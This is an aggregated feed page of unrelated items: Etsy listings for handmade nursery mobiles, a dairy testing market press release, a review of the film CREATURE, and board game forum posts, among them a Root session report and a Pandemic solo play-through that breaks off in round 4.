♥Our shop has nothing to do with whether your country charges you for any customs fees, taxes, tariffs, or receiving fees incurred so PLEASE be aware that this is your responsibility and what your government's tax laws are. Also, it is a federal offense to lie on customs forms (this includes marking as a "gift" and lowering the declared value), so please don’t ask us to do it!


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This adorable mobile will make the perfect addition for any baby's nursery, child’s room, or give as a unique baby shower gift! Your baby will love watching these shapes as they move and sway gently in the subtlest of air movement.

Satin ribbons in blue, green gray & white adorn a hoop from which elephants, lions, alligators, frogs & leaves in coordinating colors of cardstock are gracefully suspended. The finishing touch is a length of the gray satin ribbon which you can use to hang from a ceiling hook (hook can be purchased separately in our shop if you need one).


♥♥WANT TO ADD A LITTLE SPARKLE? Add clear acrylic crystal beads in between each shape by purchasing this listing along with your mobile: https://www.etsy.com/listing/151512587/add-crystals-to-any-mobile-of-your?ref=shop_home_feat


SIZE:
-This listing is for the LARGE sized mobile.
-Finished hoop diameter (after decorated with ribbon strips) is 12” wide
-Total mobile length is approximately 32-35” from very top of the hanging ribbon to the lowest shape.

♥♥I would love to customize the colors in this mobile to match your nursery decor, just let me know!


MOBILES ARE FOR DECORATION PURPOSES ONLY. PLEASE FASTEN SECURELY OUT OF REACH OF CHILDREN AS THEY ARE NOT A TOY.




          SALE Forest Animals Nursery Mobile in Navy, Pink, Gray & White- Squirrel, Deer, Fox, Bunnies Woodland Animals by MatthewAndMae      Cache   Translate Page      

63.00 USD

Forest Animals Nursery Mobile in Navy, Pink, Gray & White


♥♥♥PLEASE READ BEFORE PURCHASE!!! : All mobiles are HANDMADE TO ORDER, they are NOT premade. Please see "Shipping & Policies" tab located below listing photos or shop homepage announcement for current make time. ♥♥♥

♥NEED YOUR MOBILE SOONER?? RUSH SERVICE available for additional fee, see here: https://www.etsy.com/listing/130287764/rush-order-add-on?ref=shop_home_feat


INTERNATIONAL BUYERS
♥Our shop has nothing to do with whether your country charges you for any customs fees, taxes, tariffs, or receiving fees incurred so PLEASE be aware that this is your responsibility and what your government's tax laws are. Also, it is a federal offense to lie on customs forms (this includes marking as a "gift" and lowering the declared value), so please don’t ask us to do it!


FAQ: http://www.matthewandmae/pages/faq


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This adorable mobile will make the perfect addition for any baby's nursery, child’s room, or give as a unique baby shower gift! Your baby will love watching these woodland creatures as they move and sway gently in the subtlest of air movement.

Satin & organza ribbons in navy, light pink, gray & white adorn a hoop from which deer, foxes, squirrels, bunnies & leaves in coordinating colors of cardstock are gracefully suspended. The finishing touch is a length of the light pink organza ribbon which you can use to hang from a ceiling hook (hook can be purchased separately in our shop if you need one).


♥♥WANT TO ADD A LITTLE SPARKLE? Add clear acrylic crystal beads in between each shape by purchasing this listing along with your mobile: https://www.etsy.com/listing/151512587/add-crystals-to-any-mobile-of-your?ref=shop_home_feat


SIZE:
-This listing is for the LARGE sized mobile.
-Finished hoop diameter (after decorated with ribbon strips) is 12” wide
-Total mobile length is approximately 32-35” from very top of the hanging ribbon to the lowest shape.

♥♥I would love to customize the colors in this mobile to match your nursery decor, just let me know!


MOBILES ARE FOR DECORATION PURPOSES ONLY. PLEASE FASTEN SECURELY OUT OF REACH OF CHILDREN AS THEY ARE NOT A TOY.




          Dairy Testing Market Worth $5.90 Billion by 2022      Cache   Translate Page      

The dairy testing market was valued at USD 3.86 Billion in 2016 and is projected to reach 5.90 Billion by 2022, at a CAGR of 7.4%.

Northbrook, IL -- (SBWIRE) -- 10/09/2018 -- The report "Dairy Testing Market by Type (Safety (Pathogens, Adulterants, Pesticides), Quality), Technology (Traditional, Rapid), Product (Milk & Milk Powder, Cheese, Butter & Spreads, Infant Foods, Ice Cream & Desserts, Yogurt), and Region - Forecast to 2022", The dairy testing market is projected to reach USD 5.90 Billion by 2022 from USD 4.13 Billion in 2017, at a CAGR of 7.4% from 2017. The market is driven by the increase in outbreaks of foodborne illnesses, globalization of dairy trade, and stringent safety & quality regulations for food. Lack of coordination among market stakeholders and improper enforcement of regulatory laws & supporting infrastructure in developing economies are the major restraints for this market.

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Safety testing is projected to be the fastest-growing segment during the forecast period

The market for safety testing is projected to be the fastest-growing, by type, from 2017 to 2022. Significant emphasis being laid on safety testing of food output with regulatory authorities focusing on addressing regulatory loopholes, preventing adulteration, malpractices, and labeling mandates are driving the market for safety testing of dairy.

Rapid technology is projected to be the fastest-growing market during the forecast period

Rapid technology is projected to be the fastest-growing during the forecast period due to its low turnaround time, higher accuracy, sensitivity, and ability to test a wide range of contaminants in comparison to traditional technology.

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Asia Pacific is projected to be the fastest-growing market during the forecast period

The market in the Asia Pacific region is driven by the growing consumer awareness and increasing health consciousness coupled with growing investments by testing companies in the region. Also, Asia Pacific is home to major dairy producing countries such as China, Australia & New Zealand, and India as these countries are becoming more aware of food safety and are implementing regulations for their testing.

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1.  Know Your Boss' Decision-Making Style

Are they influenced by data and formal analysis?  Do they worry about how their decisions affect interpersonal relationships?  In short, you need to know what type of argument or presentation will be most influential with your boss.  Speak and make your case in a format and style that will make the most impact with that person.  

2.  Recruit Credible Allies

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Only now does it occur to me... that out of all the ALIEN rip-offs (including GALAXY OF TERROR, CONTAMINATION, BIOHAZARD, STAR CRYSTAL, FORBIDDEN WORLD, etc.), William Malone's CREATURE (1985), is the only one that contains a rabid, lecherous performance by Klaus Kinski.

Let's back it up for a moment, shall we? While CREATURE contains homages to THE THING, PLANET OF THE VAMPIRES, and other sci-fi horror flicks, make no mistake that this is a straight-up ALIEN knock-off––and apparently one considered good enough by James Cameron that he hired a few of the FX team to work with a larger budget on ALIENS.



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In addition to Kinski, it stars Lyman Ward (Ferris's dad from FERRIS BUELLER'S DAY OFF), who struggles to stay awake throughout

and Diane Salinger ("Simone" from PEE WEE'S BIG ADVENTURE) who battles the Creature with an arsenal that includes a variety of laser guns and razor-sharp cheekbones.

The score is almost exactly the same as Jerry Goldsmith's from ALIEN, down to the fluttery trumpets and foreboding strings. The sound effects are actually cribbed from STAR WARS––throughout, we hear an onslaught of TIE fighter cannons and other STAR WARS blaster effects which are usually not accompanied by appropriate imagery (i.e., laser noises are used for "ambient spaceship" background).

There's a fair amount of low 'budge charm and redonkulous gore, but on the quality index it's somewhere between a Troma movie and Full Moon Picture. I do really appreciate that despite having claws and teeth and acid and killer parasites, sometimes the Creature settles on old-fashioned strangling to dispose of its victims.

Anyway, back to Klaus Kinski––who plays an interloping creepy German astronaut whose old shipmates were eaten by the Creature.

Somewhere, there are horror stories (as of yet unheard?) of Kinski's behavior on this set. There must be. Klaus is often dubbed (but not always), as I have to imagine he didn't stick around (or wasn't allowed to return) for reshoots and ADR. He abruptly transitions into a space zombie at one point, likely because he was ejected or escaped from the set and they needed to replace him with a guy in a Kinski monster mask.

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          Thread: Lockup: A Roll Player Tale:: Variants:: Using Guards in multi-player game.      Cache   Translate Page      

by Hohenstadt

If one wants to use the Guards in multiplayer, this is my suggestion. Shuffle the level of difficulty of the Guard's deck as per solo play. Remove one "OFF DUTY" card from Location deck. The other one left counts as CELL Location card. Shuffle location cards as per solo play. On First player turn, he/she draws a Guard Location card, draws and places Guard card as per solo play. Remember, if 1st Player draws the single OFF DUTY card place the drawn Guard card face down in Cell Location. Another option is instead of using the Guard Location cards to place the single Guard, use an eight-sided die (d8). Roll a 1 - 7 place Guard in the same numbered Location. If roll an 8, the Guard is off duty and is not placed that round. This method allows for the possibility of the Guard being placed in same Location more than just once versus drawing Location card. Plus, chance no Guard is placed. Regardless of which way you choose to get the Location, this is the only Guard placed per round. No other cards for guards are drawn this round including Location card when Guard previously placed is flipped over. Consider this as a single Roving Guard. This single Guard card should not be flipped over until the Location it is in is ready to be resolved as per multiplayer rules. The Guard does not gain any rewards, suspicion tokens or Items but can be moved to the Library. Any suspicion tokens the Guard would normally claim by winning the Location are left in that Location. The single Guard does gain Power markers by wining Gym location and/or 1 Power marker at the start of each round. This gives some power to the Guard Enforcer. If the Guard wins the Location no other player can collect the top reward. If the Roving Guard wins Cell location the highest cost Item card face up is removed from play for rest of game. Considered it confiscated. This Guard is basically trying to prevent prisoners from stealing resources and maybe choice of Tomes at his assigned post. Once the round is over, the Guard is put on bottom of Guard deck. Repeat this once each round until end of game.

Enjoy...
          Session: Root:: Do You Have a Moment to Talk About Our Lord and Savior Basilisk Lizard?      Cache   Translate Page      

by ZackStack

My friends and I were getting experienced enough with Root to try the winter side of the board for the first time. We also all decided to try a new faction so Robert was playing the Cats, Michael selected the Eyrie, John was the Vagabond and I got to be the Lizard Cult. As the clearing tokens came out the major feature of the board was all four bunny clearings being clustered together in a square in the Southeast corner of the map. This got us all thinking about the possibilities and dangers of the rabbit dominance card so I was surprised when Robert put his keep in the opposite corner… until Michael immediately started grumbling about a terrible hand of cards as he was forced to put his first roost in a corner where he only had easy access to Rabbit clearings. John decided on the Scoundrel and placed his Raccoon in a southern forest space leaving me choosing to put my garden in the southwest fox clearing since it was adjacent to another fox clearing and I wanted that early draw bonus. As I was rocking foxes I started them as the outcast.

Early Turns

The Marquis drew the first move and Robert doubled down on his Eyrie hate by moving all his closest cats away from the bunny clearings and starting some minor building near his keep. Michael had to stretch his decree with an extra movement to get his first Charismatic battle in so not to go into turmoil on turn 1. My initial move let me build another Fox garden to get that important extra card draw as well as put another warrior on the board to set up for future gardens and create my first acolyte. This would turn out to be the only acolyte I created all game this way as bird cards were few and far between in my hand. It didn’t help that I immediately ended up discarding it to craft a crossbow. This tempted John’s Vagabond into a clearing I shared with the Marquis and he bought items from both of us at our Skink-mas craft show and completed a quest to boot.

The cards Marquis de Robert got from John emboldened him and he pushed forward against the birds to whittle their numbers down and make things extra tricky for Michael on his turn while building a little more back in his home clearings. The Eyrie puzzled through their turn only to get in position for their attacks and get ambushed by the cats to really hurt their numbers on the board. Michael did manage to build his first roost though so his scoring engine officially got under way. Thanks to John’s purchase I had a nearly full hand of cards and was able to pop up a couple gardens in the mouse clearings north and east of my starting position encroaching toward bird and cat territory respectively. I even scored a couple of points for my fox gardens since it was getting close to discard time. Apparently my foxes singing the praises of our scaly lord attracted John’s vagabond as he slipped into my home clearing to complete a Fox quest and aid me despite my not having crafted anything so he could keep up in the early points race.

This led to the key turn that shaped the game to the will of our Lord and Savior Basilisk Lizard. Robert the Cat decided he had left the Eyrie in a precarious enough position and was running out of room to build in his home clearings so turned his attention to me. He attacked in my central Fox clearing and made me some acolytes, trashed the garden in that spot (costing me my only bird card) and built a new forward recruitment center. All well and good but his key mistake was saving one of his soldiers with a fox field hospital card… The Eyrie was in clear trouble as with no new cats in the area he wasn’t going to be able to attack and build so the decree was going to fall. He did decide to at least get an attack in the only place he could… so I earned another acolyte and he went into turmoil. These clear transgressions against the Great Alligator in the Sky ended up making the fox outcasts quite hateful as Robert’s field hospital card tipped them to the majority. With my conspiracies now at a discount I was able to turn the Cat’s new recruitment center into a garden, change his one remaining soldier in that clearing into a loyal follower of the Great Lizard and I even had one acolyte left over. Glancing at my home clearing I saw the Vagabond blaspheming the place with his being covered with fur instead of scales and promptly had him beaten with staves breaking quite a few of his trinkets and forcing him to skulk off into the woods to and think about what he’d done on his turn.

Mid-Game

The tone for our mid-game was set. Michael’s Eyrie slowly recovered its momentum under the Despot to get recruitment and roosts going all over the east of the board. The Vagabond started using his crossbows to make sure he never ended his turns with any living lizards nearby and started clearing ruins in search of his sword. So the most interesting story of these rounds was the turmoil of the now open war between the misguided Marquis and my holy lizard warriors. Robert would strike wherever he could kill a garden easily and I would use the resulting acolytes to keep swapping his buildings that had been built earlier in fox clearings and even got to reach out across the board to the far corner to threaten the Eyrie’s fox clearing too.

The key to all this was Michael. He was drawing more cards than he could hold as the Eyrie and kept discarding to have the most control of the outcast of any of us… but he kept having to make a choice between leaving things Foxy or make the Bunnies in his home territories start singing the praises of He of the Long Tail and he kept deciding to not bring my attention his way. I was eventually able to use that steady stream of acolytes and discount conspiracies to wreck Robert’s main wood producing fox clearing in the north and smash all the wood there to splinters in the name of the King of All Lizards for solid points. I started pulling ahead as the Eyrie had gambled on knocking me out of a clearing where I ended up ambushing them to force them once again into turmoil. I had all five fox gardens out and was spending cards on points instead of recruitment and building more often now to pull ahead in points as all must heed He of the Coldest Blood!

End Game

All those turns of being nearly the sole target of my conspiracies left the Marquis broken and down to only two buildings on the board while the Eyrie was in a fresh decree under the Commander hoping those extra attack hits could help him get back into the game. The Cats had felt forced to use the Fox Dominance card as a field hospital as recruitment centers became gardens and his troops began to dwindle. My Cold Lizard Brain saw all five Fox gardens on the Board mostly hidden behind solid numbers of warriors… but He Who Basks in the Sun hissed in my ear to look into the beady eyes of those who opposed me and see the alliance against us that was beginning to form… so I was patient and passed on picking up the dominance card to spend a bunch of cards for points before they all started piling on.

That was a good move as the Vagabond had found his sword and wiped out everything in my strong central fox clearing without needing to even resort to his Scoundrel scorched earth torch. The Marquis finally started making a move toward my mouse clearing instead of my fox clearings and the Eyrie knocked me clean out of another Fox home. Thanks to all those lovely new acolytes I converted some bird warriors and kept recruiting and building wherever the opportunity presented itself with the few cards I had left but I could feel the tide turning and knew my scoring opportunities wouldn’t last.

Luckily the Great Basilisk Lizard had one last favor in store for me. I drew the Royal Decree crafting card and some low rolls from my opponents left me discarding only one card when I lost a single garden over the next round and I kept it! The Eyrie had been forced to build in a Fox clearing to save his decree so I once again bumped up to 4 Fox gardens and spent all my other cards on points to get to 26 points then crafted the Royal decree with those Hated Outcast Foxes. That card would let me score one point per clearing I controlled at my next daybreak causing much annoyance around the table as they plotted to kick me out of as many clearings as possible. Unfortunately for them all my remaining gardens had lizards protecting them so despite the Marquis and Vagabond being successful in their attacks when the Eyrie had to split their attack because of how their decree was set up it wasn’t quite enough and the Great Wurm still had his claws in three clearings when my turn came around. I used the royal decree to get one point away then converted one last cat building in a fox clearing (the poor Marquis had thought he was safe building there at one point when all my fox gardens were on the board…) to score my 30th point for a resounding win for the Great Lizard in the Sky!



The end state of our board. This picture was taken right after the Marquis had thrown his hand of cards on the board in disgust…

          Session: Pandemic:: Pandemic - A Solo Play-Through      Cache   Translate Page      

by The Solo Meeple

I thought it would be interesting to post a solo play-through, one where I try to portray what I'm thinking and why I make the moves I do. I chose Pandemic as it's a great gateway game, and one that people new to the hobby are likely to play.

I'll be typing things up as I play, and will try to get across what moves I'm considering and their pro's and con's.

I have no ideas how it will turn out, but there are strategies that will increase the chances of winning the game, and I have elected to play with three characters - four and the game is a little easier - two and it's a fair bit harder. I find three a good challenge.

Probably the best way of following along is to open up the map images I have placed at the start of each round (a turn with each character). I apologies for the image quality, the room I played in has red walls, and the flash bounce caused a few issues.

Set-up

I shuffled the role cards together and drew three - the medic, researcher, and the quarantine specialist.

The medic is possibly one of the most useful characters; removing all cubes of one colour when carrying out a 'treat disease' action, as well as removing all cubes of cured diseases from the city he is in. He is my favourite character to play and I'm happy he's turned up.

The researcher is handy; when carrying out share knowledge may give any 1 of her city cards. Likewise any player sharing knowledge with her may take any 1-city card from her hand. The only issue with the researcher is that you have to keep them close to your other characters to make them most effective. Either that, or they need to be able to jump around, expending city cards to do so. They are at their best when you have the dispatcher character, who can move them around to share cards.

Finally, the quarantine specialist - Prevent disease cube placement in the city you are in and all connected cities. She can be a very useful character to play, but needs handling correctly. It is so easy to get her tied up to one city, there is a knack at getting the most from her; we shall see if I have it!

They were dealt the following city cards:

Medic

• Blue - Madrid
• Red - Jakarta
• Yellow - Bogota

Researcher

• Red - Sydney
• Red - Hong Kong
• Black - Cairo

Quarantine specialist

• Red - Osaka
• Blue - London
• Yellow - Los Angeles

On the whole not a bad selection, especially with the researcher; she may be able to pass her two red cards to the Medic or Quarantine Specialist.


Here's how things stack up at the start.

Initial city infection.

3 Cubes

Blue - Milan
Yellow - Bogota
Yellow - Mexico City
Not a good start - Bogota and Mexico City are adjacent, and could cause problems later on, we shall see what else comes out.

2 Cubes


• Red - Shanghai
• Black - Chennai
• Yellow - Los Angeles

It was going okay until LA came out, that's right next to Mexico City, so I have to be very wary of game breaking multiple outbreaks.

1 Cube

• Red - Beijing
• Black - Baghdad
• Yellow - Kinshasa

No real issues there other than another yellow cube used; that's 9 out of the 24.

I've elected to play a standard game, 5 epidemics, and have set the board up as per the instructions, only with one slight deviation - the rules state that the player deck should be divided into five piles of roughly the same size, and an epidemic card shuffled into each one. The piles are then stacked on top of each other, smallest first. However, I have done what the majority of people seem to do - I dealt them out so that 4 piles hold 9 cards and the last one 8; then shuffled in the epidemic cards and stacked the deck.

This means that I can expect an epidemic card once in every 10 cards - something worth remembering.

Why did I choose to do this? Mainly because it highlights the use of card counting, something you may, or may not, want to do - but it does give you a slight advantage knowing the odds; knowing when it's worth taking a risk or having to play safe.

I also wanted to slightly increase my chances of winning, purely for the sake of the play-through, and would normally divide the cards up as per the rulebook, as it does add that slight bit more uncertainty to the game.


This is how things stand after the initial infection phase.

Round 1

The Medic has Jakarta, with the largest population, and so will go first. I have to decide whether to share knowledge with the Researcher first, or try to clear the yellow cubes from Bogota, Mexico City, and Los Angeles.

It will take two actions to get to either Mexico or Bogota, and another to treat the disease. My last action would then be used to move me to the other infected city, so I may as well share knowledge with the researcher, taking Sydney from her, then moving to Mexico via Miami. My last action with the Medic is to treat the yellow disease in Mexico, removing all the cubes.

I decided on moving and treating Mexico, rather than Bogota, simple to split the infected cities up. If I had decided on Bogota instead, and I drew an epidemic card, there was always the chance of  infecting Mexico City, causing an outbreak and placing a third cube in LA. If the next card up is then LA...!

Note: - Someone new to the game may be tempted to try and give the red cards held by the Medic and Quarantine Specialist to the researcher, as she already has two, but this requires trying to get them together in the same location as the card they wish to pass. The researcher's strength lies in the fact she can give away any city card - use it!


Medic city draw


• Red - Beijing
• Yellow - Buenos Aires

Good, another red, that gives me options with the Researcher.

Medic infection draw

• Blue - St. Petersburg
• Red - Osaka

Researcher

With the Medic drawing another red city card it's obvious that she needs to stay close to him. She hasn't got anything useful to give to the Quarantine Specialist so she may as well move towards the Medic. She moves to Miami and on to Mexico, and shares knowledge with the Medic, giving him Hong Kong, which makes four red for the Medic. With her last action she moves to LA.

She could have moved to Bogota with that last action, but at the moment I want the Quarantine Specialist to move there. My thinking here is that the Medic will move through LA to San Francisco, and then across the water to Tokyo. I will have the Researcher follow, aiming to move them through to the Black and Blue areas of the board, on the way hopefully curing the red disease and possibly eradicating it. But for that I will need to build another research station somewhere.

Researcher city draw

• Red - Taipei
• Black - Mumbai

Excellent, another red, the Medic can pick that up as he moves through LA.

Researcher infection draw

• Red - Manila
• Black - Moscow

Pity about the red cube; I was hoping that if one were to appear, it would be in close proximity to the others, so they could be easily swept up.

Quarantine specialist

At the moment there's nowhere in particular she can put her skill to good effect, other than staying around Mexico City. There is the option of trying to get both the yellow city cards from the Medic - Bogota and Buenos Aires - and I definitely think one is possible if nothing else comes along that is more urgent. So, She moves via Miami to Bogota, and treats disease twice, removing two cubes.

This prevents cubes from being placed here, and the adjoining cities. The medic can, after a brief visit to LA, move back to Bogota ready to share knowledge if I decide on that plan of action. Flexibility - keeping your options open and being able to react to whatever infection cards come out - or an epidemic.

Quarantine Specialist city draw

• Red - Tokyo
• Epidemic! - Infection rate moves along one, still a 2 though. Khartoum is drawn and 3 yellow cubes placed there. The infection discard pile is shuffled and placed on top of the draw pile.

The draw of another red city just gives me options to use the direct flight action, which may come in handy later. With the draw of the epidemic card I'm glad I have the Quarantine Specialist where she is, let's see what comes out.

Quarantine Specialist infection draw

• Yellow - Khartoum
• Yellow - Kinshasa

Not good! Khartoum causes an outbreak - the outbreak marker is moved to 1, and a cube is placed in Cairo, Lagos, Kinshasa, and Johannesburg. Unfortunately Kinshasa was drawn next, giving me 3 cubes there too!

Getting an epidemic early on can cause problems, as the infection discard pile is small you know that there's a good chance of something coming out you've yet to clear, causing an outbreak. At least there is plenty of time now until the next epidemic card comes out, so I need to get either the Medic, or the Quarantine specialist to this area soon. (The epidemic was the sixth card drawn, so I've at least two turns of grace before there is a chance of another.)

At the end of the first round things aren't too bad. I'm on the verge of curing the red disease already, but do have issues with yellow. I know that there are going to be another three infections coming out in quick succession - LA, Mexico City, and Bogota, so I need to keep an eye on how many yellow cubes are available, but I'm not too worried... yet!

Round 2


How things stand at the start of round 2.
Future Meeple - The outbreak marker in the picture should be at 1; I notice my error a little later!


Medic

I now decide that the best thing for the medic would be to head to Africa and clear the cubes there, but it will take a couple of turns. I'm not going to worry about getting Taipei from the researcher, she can bring it to the medic. I can, however, drop of Bogota with the Quarantine specialist. So, the medic moves from Mexico to Bogota, shares knowledge, giving Bogota to the Quarantine Specialist. He then moves to Lagos via Sao Paulo.

I could have cured a yellow cube at Bogota and then finished the move at Buenos Aires, ready to give that city card to the Quarantine specialist on their turn, but I figured that could be done later, as I really want to get rid of some of these yellow cubes in Africa.

Medic city draw

• Event - Government Grant - Add 1 research station to any city (No city card needed).
• Blue - Washington

I played the Event card as soon as I drew it, knowing exactly where I would like it - Baghdad!

I placed the station in Baghdad as it occupies a vital position on the board  - being central and having five cities linked to it. if you get an outbreak here it can really ruin your day, as can a number of other similarly located cities. I could have placed it closer to the Medic, enabling him to discover a cure, but it's often better to have a station in a more central location.

Medic infection draw

• Yellow - Los Angeles
• Red - Shanghai

That's okay, as the Researcher is still in LA and she could remove a cube before moving towards the Medic. Shanghai isn't so good, I'm getting too many cities that have 3 cubes on them, and Shanghai is in the opposite direction to where I want to go, typical!

Researcher

I now have a decision to make. My original plan was for the researcher to follow the Medic into Africa, and pass the last card he needs to discover a cure for the red disease. But, with Shanghai now on 3 red cubes, have my priorities changed? I decide to move her to join the Medic - Mexico City - Bogota - Sao Paulo - Lagos. I leave the 3 cubes in LA for the Quarantine Specialist to deal with.

I made the decision base upon the chances of an epidemic card coming out on the next turn. As we have drawn eight cards so far, one of which was an epidemic, there should be at least one more turn before there is a chance of hitting another epidemic card. (remember, one epidemic card in every ten cards). So, I have a reasonable chance of positioning the Quarantine Specialist in an ideal spot, as well as clearing some more yellow cubes.

Researcher city draw

• Blue - Chicago
• Blue - New York

This is a good draw for me as the Medic already has two blue cards, and as the researcher has followed the Medic, it should just take a little luck to cure both blue and red over the next few turns.

Researcher infection draw

• Black - Moscow
• Black - Baghdad

Nothing to worry about at the moment, just got to keep an eye on them.

Quarantine Specialist

Easy decision here. She moves to LA via Mexico, treats disease removing a yellow cube, and then retreats back to Mexico.

Why didn't I treat disease twice in LA? There is a chance of an epidemic card coming out, and placing her in Mexico stops cubes being placed in the three areas that have previously been infected. Just cube limitation really!

Quarantine Specialist city draw

• Event - Forecast - Draw, Look at, and rearrange the top six cards of the infection deck. Put them back on top.
• Blue - Montreal

The Forecast event is a useful one, the difficulty is timing it just right. I could use it now, especially as there is a chance that Milan could outbreak this turn, but the other three cities containing 3 cubes are all in the discard pile, so it would be a waste using it at this point.

Another Blue card is handy, as that makes six cards, two apiece; it's just a matter of getting them in one place!

Quarantine Specialist infection draw

• Red - Beijing
• Red - Osaka

The reds are starting to build up, but it shouldn't be too long before I can start dispersing them.

Round 3


Characters and cards for round 3.



Positions at the start of round 3.
Future Meeple - Still haven't noticed my mistake - Outbreak marker should be on 1!


Medic

First things first - Share knowledge with the researcher, taking Taipei to complete the  set of five red cards required to treat the disease. This gives the Medic eight cards, so he needs to discard one, and throws Washington into the discard pile.

Having only three actions left it isn't possible to reach the research station, and cure the disease this turn. So may as well make full use of the three actions - Move to Kinshasa and treat disease, removing 3 yellow cubes. Then move to Khartoum with the final action.

I could have gone to Khartoum after sharing knowledge with the Researcher, treated disease there, and then either moved to Kinshasa or to Cairo. I did consider the Cairo option, as this would have left me closer to the research station, but would have resulted in the researcher wasting moves to deal with Kinshasa. If  the Medic had finished in Kinshasa, then either the Researcher would have had to pass through to treat disease there, or the medic would have had to do it next turn, leaving him with not enough actions to discover a cure the following turn. I discarded Washington, as there were six blue cards between the characters, and kept the yellow card as we have only three of them.

Medic city draw

• Blue - St. Petersburg
• Yellow - Johannesburg

Having seven cards already I discarded both St. Petersburg and Johannesburg. I did consider throwing Madrid instead of Johannesburg, as that would have given me four of each of the two colours in the hands, but decided not to. Time will tell if it was the right decision.

Medic infection draw

• Blue - St. Petersburg
• Red - Manila

Not to worried about Manila, but St. Petersburg is a concern - Milan is going to be one of the next five cards out by my reckoning, along with Chennai, Johannesburg, Bogota, and Mexico City, all of which have been infected previous to the last epidemic, but haven't been drawn again yet.

Researcher

The Researcher can't get to Milan and treat disease, unless she uses a direct flight to Cairo, discarding that card, and then moving through Istanbul to Milan. This would prevent an outbreak if Milan were to be drawn this turn, and is worth considering. She could also move to join the Quarantine Specialist in Mexico City, and have enough actions to share knowledge, giving her a blue card. It is the latter of these that she does - Sao Paulo - Bogota - Mexico City - Share knowledge, giving the Quarantine Specialist New York. The Specialist, now with eight cards, discards Tokyo.

This may appear to be the wrong thing to do but, having had only one outbreak so far, I'm happy to sacrifice another, especially as the Medic is in close proximity. The move I made gives the Quarantine Specialist 3 blue cards, plus on her turn she will share knowledge again, taking a fourth one from the Researcher. If the researcher is lucky enough to draw another blue this turn, then that will give me all five!

Researcher city draw

• Red - Bangkok
• Blue - Milan

The good news is another blue card - Milan. Bangkok will enable her to whip across the board next turn if needed, without getting rid of a useful card - The red disease should be cured by then.

Researcher infection draw

• Yellow - Bogota
• Blue - Milan

No cube is placed in Bogota as it is adjoined to Mexico City, where the Quarantine Specialist is. However, Milan inevitably causes an outbreak - the outbreak marker is moved to 2, and blue cubes are placed in Essen, Paris, and Istanbul.

Future Meeple - At last I finally noticed that the outbreak marker hadn't moved on and placed it straight on two... Well done me!

Quarantine Specialist

She shares knowledge twice with the Researcher, receiving Chicago and Milan. She has to discard two cards due to hand limit; Osaka is one, an obvious choice, but unfortunately the other has to be a yellow card, which is going to be LA. She now has two actions left, and as there isn't anywhere else she can get to that would prove useful, she moves to the research station at Atlanta.

She now has five blue cards - enough to cure the disease. It was a shame to discard a yellow, but it was either that or the event card, and that will be needed when the next epidemic comes out. I was happy to move away from Mexico now that both LA and Bogota have been drawn, it doesn't cause any issues if Mexico comes out on the draw.

Quarantine Specialist city draw

• Yellow - Miami
• Event - Resilient Population - Remove any 1 card in the infection discard pile from the game.

As she already has seven cards Miami gets discarded straight away. The event on the other hand can be used as it's discarded (had to double check that on BGG, but yes it can). So, looking through the infection discard pile, I decide to remove Shanghai from the game.

I remove Shanghai because a) it has 3 cubes on it, b) it infects 5 other cities if it outbreaks, more than any of the others in a similar position, and c) the Medic can't get there next go, so it would be on the researcher to get there needed.

Quarantine Specialist infection draw

• Yellow - Mexico City
• Black - Chennai

Not worried about Mexico, having reduced the number of yellow cubes on the board, but Chennai is now on 3 so will need to keep an eye on that area of the board.

Round 4





I've had a total of nine turns, which means eighteen cards have been drawn, it has to be an epidemic next go... If my maths is correct!

Medic

Okay, the Medic first treats disease in Khartoum, removing the 3 yellow cubes. Then moves to Baghdad, via Cairo. As there is a research station here, he discovers a cure with his last action, discarding the five red cards from his hand - One down!

I did look over the possibilities of treating a greater number of diseases, but the most I could do was one city with 3 cubes on it, which is what I did anyway. I could have removed a few individual cubes instead of moving to discover a cure, but lets face it, the aim of the game is to discover all the cures!

Medic city draw

• Epidemic - The infection marker is moved along one, which fortunately is still a 2; Kolkata is drawn from the bottom of the infection deck and 3 black cubes placed there. The infection discard pile is shuffled and placed back on top of the draw pile.
• Yellow - Khartoum

Having 3 cubes on Kolkata isn't great as it's connected to Chennai, also on 3.

It's now time for the Quarantine Specialist to play her Forecast Event - Drawing and looking at the top 6 cards of the infection deck. I put them in them in the order that I want them to come out in.

• Yellow - Khartoum (0 cubes)
• Yellow - Kinshasa (0 cubes)
• Yellow - Bogota (1 cube)
• Yellow - Mexico City (1 cube)
• Blue - Milan (3 cubes)
• Black - Chennai (3 cubes)

This gives me two more turns after the Medic has made his infection draw, to clear cubes from Milan and Chennai, difficult to do both, but maybe not impossible!

Medic infection draw

• Yellow - Khartoum
• Yellow - Kinshasa

There are going to be a lot of yellow cubes scattered around the board, so I will need to keep an eye on how many are left in the pot!

Researcher

The Researcher has no cards useful to the others at the moment, but she does hold Bangkok, which is a godsend - This will enable her to get across the board and clear out the troublesome black cubes.

First she treats disease in Mexico City, removing the 1 cube there. Then she takes a direct flight to Bangkok, discarding that card. She moves from Bangkok to Chennai, treating disease to reduce it down to 2 cubes.

I could have neglected Mexico to treat disease twice in Chennai, but I know that Mexico City is coming out next draw, so I determined it would be better to leave fewer cubes in that area.

Researcher city draw

• Black - Istanbul
• Red - Seoul

She now holds three black cards, which is good, and Seoul, which could be used to get her over to Shanghai and treat disease there.

Researcher infection draw

• Yellow - Bogota
• Yellow - Mexico City

No major dramas there, other than using up yellow cubes - but still plenty in the pot at the moment.

Quarantine Specialist

I know that Milan is going to come out of the infection deck this turn. Unless I draw an epidemic that is. So I need to protect it, which the Quarantine Specialist can do. So, first she discovers a cure for blue as she's at the Atlanta research station. Then she takes a shuttle flight to the other research station in Baghdad. From there she move to Istanbul, and then to Milan. Job done!

This is the Quarantine Specialist at her best - when you need to stop an outbreak, but don't have enough actions to remove cubes. She basically provides you with a free action - in this case I discovered a cure for blue - which if using another character, I wouldn't have been able to do as I would have had to treat disease in Milan.

Quarantine Specialist city draw

• Epidemic! - Increase the infection rate marker (now on 3); Sao Paulo (yellow) is drawn from the bottom of the deck, and has 3 cubes placed upon it; shuffle the discard pile and place it back on top.
• Black - Moscow

Ouch! Anything but another yellow! Sao Paulo is connected to Bogota, on 2 cubes, if that is drawn first then there will be the potential for multiple outbreaks. Nothing I can do now but watch what comes out of the draw.

This highlights exactly what Pandemic is all about, juggling! There are many ways to lose the game - too many outbreaks, running out of city cards, running out of cubes - you have to keep an eye on everything. And then, when you get a scattering of cities, all on 3 cubes, which are too far apart from each other to deal with easily - it really becomes a challenge!

Quarantine Specialist infection draw (now increased to three cards)

• Yellow - Khartoum
• Yellow - Mexico City
